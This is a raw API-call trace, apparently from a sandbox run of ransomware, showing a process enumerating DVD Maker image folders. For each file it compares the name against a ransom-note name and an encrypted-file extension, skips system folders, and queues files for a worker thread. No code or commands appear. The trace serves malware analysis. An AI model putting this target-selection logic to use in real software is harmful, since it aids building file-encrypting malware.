	[0080.922] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x2, cFileName="blackbars60.png", cAlternateFileName="")) returned 1
	[0080.922] lstrcmpiW (lpString1="blackbars60.png", lpString2="Windows") returned -1
	[0080.922] lstrcmpW (lpString1="blackbars60.png", lpString2="oiikyy.exe") returned -1
	[0080.922] StrStrW (lpFirst="blackbars60.png", lpSrch=".~~~~") returned 0x0
	[0080.922] lstrcmpW (lpString1="blackbars60.png", lpString2="Read~ME.txt") returned -1
	[0080.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.923] GetCurrentThreadId () returned 0x618
	[0080.923] RtlWakeConditionVariable () returned 0x365f48
	[0080.923] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x2, cFileName="layers.png", cAlternateFileName="")) returned 1
	[0080.923] lstrcmpiW (lpString1="layers.png", lpString2="Windows") returned -1
	[0080.923] lstrcmpW (lpString1="layers.png", lpString2="oiikyy.exe") returned -1
	[0080.923] StrStrW (lpFirst="layers.png", lpSrch=".~~~~") returned 0x0
	[0080.923] lstrcmpW (lpString1="layers.png", lpString2="Read~ME.txt") returned -1
	[0080.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.923] GetCurrentThreadId () returned 0x618
	[0080.923] RtlWakeConditionVariable () returned 0x365f48
	[0080.923] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.923] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.923] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.923] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.923] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.923] GetCurrentThreadId () returned 0x618
	[0080.923] RtlWakeConditionVariable () returned 0x365f48
	[0080.923] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.923] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.923] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.923] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.923] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0080.923] GetCurrentThreadId () returned 0x618
	[0080.923] RtlWakeConditionVariable () returned 0x365f48
	[0080.923] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.923] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.923] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.924] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.924] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.924] GetCurrentThreadId () returned 0x618
	[0080.924] RtlWakeConditionVariable () returned 0x365f48
	[0080.924] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.924] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.924] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.924] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.924] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0080.924] GetCurrentThreadId () returned 0x618
	[0080.924] RtlWakeConditionVariable () returned 0x365f48
	[0080.924] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.924] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.924] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.924] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.924] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.924] GetCurrentThreadId () returned 0x618
	[0080.924] RtlWakeConditionVariable () returned 0x365f48
	[0080.924] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.924] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.924] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.924] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.924] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0080.924] GetCurrentThreadId () returned 0x618
	[0080.924] RtlWakeConditionVariable () returned 0x365f48
	[0080.925] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0
	[0080.925] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.925] GetCurrentThreadId () returned 0x618
	[0080.952] RtlWakeConditionVariable () returned 0x365f48
	[0080.954] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1
	[0081.167] lstrcmpiW (lpString1="Memories", lpString2="Windows") returned -1
	[0081.167] lstrcmpW (lpString1="Memories", lpString2=".") returned 1
	[0081.167] lstrcmpW (lpString1="Memories", lpString2="..") returned 1
	[0081.167] lstrcmpW (lpString1="Memories", lpString2="AppData") returned 1
	[0081.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories", lpSrch="AppData") returned 0x0
	[0081.167] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.167] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories", lpString2="C:\\Windows") returned -1
	[0081.167] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.167] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories", lpString2="C:\\System Volume Information") returned -1
	[0081.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0081.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0081.306] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0081.324] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0081.324] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0081.324] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0081.324] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0081.324] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0081.324] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0081.324] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0081.324] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0081.324] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0081.325] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0081.325] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0081.325] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x2, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0081.325] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="Windows") returned -1
	[0081.325] lstrcmpW (lpString1="16_9-frame-background.png", lpString2="oiikyy.exe") returned -1
	[0081.325] StrStrW (lpFirst="16_9-frame-background.png", lpSrch=".~~~~") returned 0x0
	[0081.325] lstrcmpW (lpString1="16_9-frame-background.png", lpString2="Read~ME.txt") returned -1
	[0081.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.325] GetCurrentThreadId () returned 0x618
	[0081.325] RtlWakeConditionVariable () returned 0x365f48
	[0081.325] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x2, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0081.325] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="Windows") returned -1
	[0081.325] lstrcmpW (lpString1="16_9-frame-highlight.png", lpString2="oiikyy.exe") returned -1
	[0081.325] StrStrW (lpFirst="16_9-frame-highlight.png", lpSrch=".~~~~") returned 0x0
	[0081.325] lstrcmpW (lpString1="16_9-frame-highlight.png", lpString2="Read~ME.txt") returned -1
	[0081.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.325] GetCurrentThreadId () returned 0x618
	[0081.325] RtlWakeConditionVariable () returned 0x365f48
	[0081.325] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x2, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1
	[0081.325] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="Windows") returned -1
	[0081.326] lstrcmpW (lpString1="16_9-frame-image-mask.png", lpString2="oiikyy.exe") returned -1
	[0081.326] StrStrW (lpFirst="16_9-frame-image-mask.png", lpSrch=".~~~~") returned 0x0
	[0081.326] lstrcmpW (lpString1="16_9-frame-image-mask.png", lpString2="Read~ME.txt") returned -1
	[0081.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.326] GetCurrentThreadId () returned 0x618
	[0081.326] RtlWakeConditionVariable () returned 0x365f48
	[0081.326] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x2, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1
	[0081.326] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="Windows") returned -1
	[0081.326] lstrcmpW (lpString1="16_9-frame-overlay.png", lpString2="oiikyy.exe") returned -1
	[0081.326] StrStrW (lpFirst="16_9-frame-overlay.png", lpSrch=".~~~~") returned 0x0
	[0081.326] lstrcmpW (lpString1="16_9-frame-overlay.png", lpString2="Read~ME.txt") returned -1
	[0081.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.326] GetCurrentThreadId () returned 0x618
	[0081.326] RtlWakeConditionVariable () returned 0x365f48
	[0081.326] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x2, cFileName="background.png", cAlternateFileName="")) returned 1
	[0081.326] lstrcmpiW (lpString1="background.png", lpString2="Windows") returned -1
	[0081.326] lstrcmpW (lpString1="background.png", lpString2="oiikyy.exe") returned -1
	[0081.326] StrStrW (lpFirst="background.png", lpSrch=".~~~~") returned 0x0
	[0081.326] lstrcmpW (lpString1="background.png", lpString2="Read~ME.txt") returned -1
	[0081.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.326] GetCurrentThreadId () returned 0x618
	[0081.327] RtlWakeConditionVariable () returned 0x365f48
	[0081.327] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x2, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0081.327] lstrcmpiW (lpString1="btn-back-static.png", lpString2="Windows") returned -1
	[0081.327] lstrcmpW (lpString1="btn-back-static.png", lpString2="oiikyy.exe") returned -1
	[0081.327] StrStrW (lpFirst="btn-back-static.png", lpSrch=".~~~~") returned 0x0
	[0081.327] lstrcmpW (lpString1="btn-back-static.png", lpString2="Read~ME.txt") returned -1
	[0081.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.327] GetCurrentThreadId () returned 0x618
	[0081.327] RtlWakeConditionVariable () returned 0x365f48
	[0081.327] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x2, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0081.327] lstrcmpiW (lpString1="btn-next-static.png", lpString2="Windows") returned -1
	[0081.327] lstrcmpW (lpString1="btn-next-static.png", lpString2="oiikyy.exe") returned -1
	[0081.327] StrStrW (lpFirst="btn-next-static.png", lpSrch=".~~~~") returned 0x0
	[0081.327] lstrcmpW (lpString1="btn-next-static.png", lpString2="Read~ME.txt") returned -1
	[0081.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.327] GetCurrentThreadId () returned 0x618
	[0081.327] RtlWakeConditionVariable () returned 0x365f48
	[0081.327] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x2, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0081.327] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="Windows") returned -1
	[0081.327] lstrcmpW (lpString1="btn-previous-static.png", lpString2="oiikyy.exe") returned -1
	[0081.327] StrStrW (lpFirst="btn-previous-static.png", lpSrch=".~~~~") returned 0x0
	[0081.328] lstrcmpW (lpString1="btn-previous-static.png", lpString2="Read~ME.txt") returned -1
	[0081.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.328] GetCurrentThreadId () returned 0x618
	[0081.328] RtlWakeConditionVariable () returned 0x365f48
	[0081.328] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x2, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0081.328] lstrcmpiW (lpString1="button-highlight.png", lpString2="Windows") returned -1
	[0081.328] lstrcmpW (lpString1="button-highlight.png", lpString2="oiikyy.exe") returned -1
	[0081.328] StrStrW (lpFirst="button-highlight.png", lpSrch=".~~~~") returned 0x0
	[0081.328] lstrcmpW (lpString1="button-highlight.png", lpString2="Read~ME.txt") returned -1
	[0081.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.328] GetCurrentThreadId () returned 0x618
	[0081.328] RtlWakeConditionVariable () returned 0x365f48
	[0081.328] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x2, cFileName="button-overlay.png", cAlternateFileName="")) returned 1
	[0081.328] lstrcmpiW (lpString1="button-overlay.png", lpString2="Windows") returned -1
	[0081.328] lstrcmpW (lpString1="button-overlay.png", lpString2="oiikyy.exe") returned -1
	[0081.328] StrStrW (lpFirst="button-overlay.png", lpSrch=".~~~~") returned 0x0
	[0081.328] lstrcmpW (lpString1="button-overlay.png", lpString2="Read~ME.txt") returned -1
	[0081.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.328] GetCurrentThreadId () returned 0x618
	[0081.328] RtlWakeConditionVariable () returned 0x365f48
	[0081.328] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x2, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1
	[0081.328] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="Windows") returned -1
	[0081.329] lstrcmpW (lpString1="Memories_buttonClear.png", lpString2="oiikyy.exe") returned -1
	[0081.329] StrStrW (lpFirst="Memories_buttonClear.png", lpSrch=".~~~~") returned 0x0
	[0081.329] lstrcmpW (lpString1="Memories_buttonClear.png", lpString2="Read~ME.txt") returned -1
	[0081.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.329] GetCurrentThreadId () returned 0x618
	[0081.329] RtlWakeConditionVariable () returned 0x365f48
	[0081.329] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x2, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1
	[0081.329] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="Windows") returned -1
	[0081.329] lstrcmpW (lpString1="Notes_btn-back-static.png", lpString2="oiikyy.exe") returned -1
	[0081.329] StrStrW (lpFirst="Notes_btn-back-static.png", lpSrch=".~~~~") returned 0x0
	[0081.329] lstrcmpW (lpString1="Notes_btn-back-static.png", lpString2="Read~ME.txt") returned -1
